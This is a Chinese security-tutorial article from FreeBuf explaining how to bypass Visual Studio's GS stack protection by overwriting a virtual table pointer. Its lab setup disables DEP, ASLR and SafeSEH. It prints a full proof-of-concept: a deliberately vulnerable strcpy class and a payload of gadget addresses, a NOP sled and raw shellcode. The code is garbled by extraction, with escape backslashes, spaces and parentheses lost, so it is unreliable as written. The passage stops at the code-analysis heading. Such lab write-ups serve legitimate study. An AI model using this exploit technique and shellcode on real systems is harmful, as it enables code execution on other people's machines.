FreeBuf|图解利用虚函数过GS保护

前言
个人感觉利用虚函数过GS保护过程稍微会复杂些 , 因为涉及到多次跳转 。 为了写清楚利用虚函数过GS , 本文从payload构造切入 , 着重描写payload构建过程 , 从而让读者明白利用虚函数过GS的细节;并且在payload构建过程 , 对跳转细节采用图解方式 , 让读者跳出代码 , 先理清楚整个逻辑关系 , 然后再载入payload , 讲解整个payload运行过程 。 (需要说明的是文中的寻址图 , 仅仅为了更清楚的描述跳转过程 , 不完全代码在内存中的存储顺序) 。 balabala~~新手上路 , 请多多关爱 , 如有写的不好的地方 , 请轻喷 , 感谢!╮(╯▽╰)╭
一、GS保护我们知道普通的栈溢出漏洞是通过覆盖返回地址 , 针对这一漏洞 , 微软在编译时使用了一个安全编译选项GS , VisualStudio默认启用了这个编译选项 , 如下图所示 。
FreeBuf|图解利用虚函数过GS保护
文章图片
【FreeBuf|图解利用虚函数过GS保护】开启GS保护后 , 在所有函数调用前 , 会先向栈内压入一个随机数 , 这个随机数被称作canary或者为securitycookie , 这个随机数是位于EBP之前 , 并且系统还会在.data内存区域存放一个securitycookie的副本;在函数返回前 , 系统会执行安全验证操作 , 即call__security_check_cookie , 去比较原先存放在栈中的canary和.data中副本的值 , 如果两者不一致 , 说明栈中发生了溢出 , 因此之前通过覆盖返回值来实现栈溢出是不可行的 。 因此开启了过GS保护的研究热潮 , 包括利用攻击异常过GS、利用虚函数过GS等 。
突破思路:如果我们可以在程序检查securitycookie之前劫持程序流程的话 , 就可以实现对程序的溢出了 。
二、虚函数在C++中 , 当成员函数被关键词virtual修饰时 , 我们将其称之为虚函数 。 首先我们需要知道虚函数入口地址被统一保存在虚表中 。 当对象在使用虚函数时 , 先通过虚表指针找到虚表 , 然后从虚表中取出最终的函数入口地址进行函数调用 。
FreeBuf|图解利用虚函数过GS保护
文章图片
可以看到虚表指针地址和局部变量在内存空间中是紧接着的 。 因此猜想如果成员变量发生了溢出 , 是否可以覆盖虚表指针 , 将虚表指针指向payload , 通过精心构造payload能否成功执行shellcode?
三、利用虚函数过GS实例3.1实验环境环境|备注||—-|—-|—-||操作系统|win7||编译器|VS2015||编译选项|需要打开GS , 关闭DEP , 关闭ALSR , 关闭safeseh和修改基址|具体下面有图||build版本|release|
编译选项具体如下:
1)修改代码基址 , 如修改为0x41400000 , 避免代码中的strcpy存在00截断 。
2)需要打开GS:项目属性→C/C++→代码生成->安全检查->启用安全检查(GS)
FreeBuf|图解利用虚函数过GS保护
文章图片
3)关闭DEP , 关闭ALSR , 关闭safeseh , 在项目->属性->链接器中依次修改 。
FreeBuf|图解利用虚函数过GS保护
文章图片
3.2代码分析我们先给出利用虚函数过GS的完整代码 , 包括传入的payload , payload的构成后面会解释 。
#include"stdafx.h"#include<windows.h>#pragmawarning(disable:4996)//该行用来屏蔽strcpy的警告classVir{public:voidtest(char*str){charbuf[0x100];//局部变量bufstrcpy(buf,str);printf("buf:%dn%sn",strlen(buf),buf);this->virfun;//调用虚函数}virtualvoidvirfun{printf("Iamvirtualfunctionn");}};intmain{Virv;v.test("x53x13x40x41"//ppt指令序列地址"x90x90x90x90x90x90x90x90xafx10x40x41"//jmpesp地址"x90x90x90x90x90x90x90x90"//滑轨"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42"//shellcode"x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03""x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b""x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e""x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c""x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x79x74""x65x01x68x6bx65x6ex42x68x20x42x72x6fx89xe1xfe""x49x0bx31xc0x51x50xffxd7""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//"x24xfex18x00");//原始参数地址getchar;if(1<0)_asm//防止内存中没有jmpesp指令{jmpesp}return0;}代码分析: